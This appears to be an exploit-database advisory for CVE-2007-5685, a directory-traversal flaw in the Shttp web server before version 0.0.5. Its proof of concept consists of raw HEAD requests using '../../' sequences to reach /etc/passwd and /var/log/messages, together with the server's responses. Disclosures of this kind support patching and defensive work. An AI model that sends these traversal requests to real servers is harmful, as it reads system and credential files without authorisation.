Shttp 0.0.x - Directory Traversal

Author: Pete Foster
type: remote
platform: linux
port: 
date_added: 2007-10-25 
date_updated: 2014-01-06 
verified: 1 
codes: CVE-2007-5685;OSVDB-43607 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/26212/info

Shttp is prone to a remote directory-traversal vulnerability.

A remote attacker can exploit this issue by using directory-traversal sequences to retrieve arbitrary files on a victim user's computer.

Versions prior to Shttp0.0.5 are vulnerable to this issue.

HEAD /../../etc/passwd HTTP/1.0

HTTP/1.1 400 Bad Request
Content-Type: text/html
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:31:30 GMT
Connection: close


HEAD /../../var/log/messages HTTP/1.0

HTTP/1.1 200 OK
Content-Length: 178455
Content-Type: text/plain
Last-Modified: Thu, 25 Oct 2007 16:36:39 GMT
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:42:32 GMT
Connection: close